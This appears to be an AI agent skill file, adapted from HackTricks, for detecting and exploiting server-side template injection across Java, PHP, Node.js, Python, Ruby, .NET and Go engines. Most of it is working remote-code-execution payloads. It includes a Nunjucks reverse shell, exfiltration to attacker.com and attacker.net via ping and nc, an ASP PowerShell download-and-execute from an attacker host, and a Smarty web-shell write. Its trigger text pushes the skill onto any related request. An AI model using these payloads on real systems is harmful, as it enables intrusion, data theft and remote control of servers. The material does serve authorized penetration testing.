Hacktricks-skills ssti-server-side-template-injection

Server-Side Template Injection (SSTI) detection and exploitation. Use this skill whenever the user mentions template injection, SSTI, Jinja, Twig, FreeMarker, Velocity, Thymeleaf, or any template engine vulnerability. Also trigger when users need to test web applications for template injection vulnerabilities, identify template engines, or craft SSTI payloads for security assessments. Make sure to use this skill for any web security testing involving template engines, even if the user doesn't explicitly say "SSTI" or "template injection".

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/ssti-server-side-template-injection/ssti-server-side-template-injection/SKILL.MD
source content

SSTI (Server-Side Template Injection) Testing

A comprehensive skill for detecting, identifying, and exploiting Server-Side Template Injection vulnerabilities across multiple template engines and programming languages.

Quick Start Workflow

  1. Detect - Fuzz the target with template injection payloads
  2. Identify - Determine which template engine is in use
  3. Exploit - Craft payloads for the specific engine
  4. Escalate - Move from detection to RCE if possible

Detection Phase

Initial Fuzzing

Start by injecting these special characters to detect template processing:

${{<%[%'"}}%

What to look for:

  • Errors thrown (reveals vulnerability and potentially the engine)
  • Payload missing from response (server processes it differently)
  • Mathematical evaluation (e.g.,
    {{7*7}}
    returns
    49
    )

Distinguish from XSS

Plaintext Context - Server evaluates template expressions:

  • {{7*7}}
    49
    (SSTI)
  • {{7*7}}
    {{7*7}}
    (XSS or no vulnerability)

Code Context - Test dynamic behavior:

  • Change
    greeting=data.username
    to
    greeting=data.username}}hello
  • If output changes dynamically, SSTI is likely present

Engine Identification Payloads

Use these to identify the template engine:

EngineTest PayloadExpected Result
Jinja2
{{7*7}}
49
Twig
{{7*7}}
49
FreeMarker
${7*7}
49
Velocity
${7*7}
49
Thymeleaf
${7*7}
or
[[${7*7}]]
49
ERB (Ruby)
<%= 7*7 %>
49
ASP
<%= 7*7 %>
49
Go
{{ . }}
Data structure

Tools

Automated Scanners

TInjA - Efficient SSTI + CSTI scanner with polyglots:

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."

SSTImap - Crawler and SSTI detector:

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap - Automated SSTI exploitation:

python3 tplmap.py -u 'http://target.com/page?name=John*' --os-shell
python3 tplmap.py -u "http://target.com/page?user=InjectHere*" --level 5 -e jade

Exploitation by Engine

Java Template Engines

FreeMarker

Basic detection:

{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 (legacy)

RCE payloads:

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

Sandbox bypass (versions < 2.3.30):

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Velocity

#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("id"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor())
#foreach($i in [1..$out.available()])
$out.read()
#end

Thymeleaf

Detection:

[[${7*7}]]
${7*7}

SpringEL RCE:

${T(java.lang.Runtime).getRuntime().exec('calc')}

OGNL RCE:

${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Expression preprocessing:

#{selection.__${sel.code}__}

Spring Framework

Basic RCE:

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Bypass filters - Try these delimiters if

${...}
doesn't work:

  • #{...}
  • *{...}
  • @{...}
  • ~{...}

Read /etc/passwd:

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

Generate encoded payloads: Use

scripts/generate_java_payload.py
to create character-encoded command payloads.

Jinjava / HuBL (HubSpot)

Detection:

{{'a'.toUpperCase()}} → 'A'
{{ request }} → com.[...].context.TemplateContextRequest@23548206

RCE:

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval("var x=new java.lang.ProcessBuilder; x.command(\"whoami\"); x.start()")}}

With output capture:

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval("var x=new java.lang.ProcessBuilder; x.command(\"netstat\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())")}}

Groovy

Basic payload:

import groovy.*;
@groovy.transform.ASTTest(value={
    cmd = "whoami";
    assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

With output capture:

import groovy.*;
@groovy.transform.ASTTest(value={
    cmd = "whoami";
    out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
    cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".attacker.com";
    java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

PHP Template Engines

Twig

Detection:

{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error

Information gathering:

{{_self}}
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

File read:

"{{'/etc/passwd'|file_excerpt(1,30)}}"

RCE payloads:

{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{['id']|filter('system')}}
{{['cat /etc/passwd']|filter('system')}}

Suppress errors:

{{["error_reporting", "0"]|sort("ini_set")}}

Smarty

Detection:

{$smarty.version}

RCE:

{php}echo `id`;/php} // deprecated in v3
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

Node.js Template Engines

Nunjucks

Detection:

{{7*7}} = 49
{{foo}} = No output
#{7*7} = #{7*7}

RCE:

{{
  range.constructor(
    "return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
  )()
}}

Reverse shell:

{{
  range.constructor(
    "return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
  )()
}}

Handlebars

Path traversal:

curl -X 'POST' -H 'Content-Type: application/json' --data-binary '{"profile":{"layout": "./../routes/index.js"}}' 'http://target:9090/'

RCE (complex):

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('whoami');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

Pug.js / Jade

Detection:

#{7*7} = 49

RCE:

#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}

Jade style:

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')

JsRender

Server-side RCE:

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Python Template Engines

Jinja2

Detection:

{{7*7}} = Error (in some configs)
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}

Debug:

{% debug %}

RCE (without builtins):

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Tornado

Detection:

{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777

RCE:

{% import os %}
{{os.system('whoami')}}

Mako

RCE:

<%
import os
x=os.popen('id').read()
%>
${x}

Ruby Template Engines

ERB

Detection:

{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Error

RCE:

<%= system("whoami") %>
<%= Dir.entries('/') %>
<%= File.open('/etc/passwd').read %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>

With Open3:

<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>

Slim

Detection:

{ 7 * 7 }

RCE:

{ %x|env| }

.NET Template Engines

Razor

Detection:

@(2+2) → Success
@() → Success
@("{{code}}") → Success
@ → Success
@{} → ERROR!
@{ → ERROR!

RCE:

@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");

Encoded PowerShell:

@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc [base64]");

ASP Classic

Detection:

<%= 7*7 %> = 49
<%= "foo" %> = foo
<%= foo %> = Nothing

RCE:

<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://attacker/shell.ps1')").StdOut.ReadAll() %>

Go Template Engine

Detection:

{{ . }} → Reveals data structure
{{printf "%s" "ssti" }} → ssti
{{html "ssti"}} → ssti
{{js "ssti"}} → ssti

XSS bypass:

{{define "T1"}}alert(1){{end}}{{template "T1"}}

RCE - Requires object with executable methods:

{{ .System "ls" }}

Perl (Mojolicious)

Detection:

<%= 7*7 %> = 49
<%= foobar %> = Error

RCE:

<%= perl code %>
<% perl code %>

Common Techniques

Command Execution Patterns

Java Runtime:

T(java.lang.Runtime).getRuntime().exec('command')

Python os module:

os.popen('command').read()
os.system('command')

Node.js child_process:

require('child_process').execSync('command')

Ruby:

system('command')
`command`
IO.popen('command').read

File Operations

Read files:

  • Java:
    T(org.apache.commons.io.IOUtils).toString(Runtime.getRuntime().exec('cat file').getInputStream())
  • Python:
    open('file').read()
  • Ruby:
    File.open('file').read
  • Node.js:
    require('fs').readFileSync('file')

Environment Variables

Java:

${T(java.lang.System).getenv()}

Python:

{{config}}
{{settings}}

Scripts

Use the bundled scripts for common tasks:

  • scripts/generate_java_payload.py
    - Generate character-encoded Java payloads
  • scripts/ssti_detect.py
    - Automated detection fuzzing

Safety Notes

  • Always have authorization before testing
  • Use isolated environments for RCE testing
  • Document findings responsibly
  • Consider the impact of each payload

References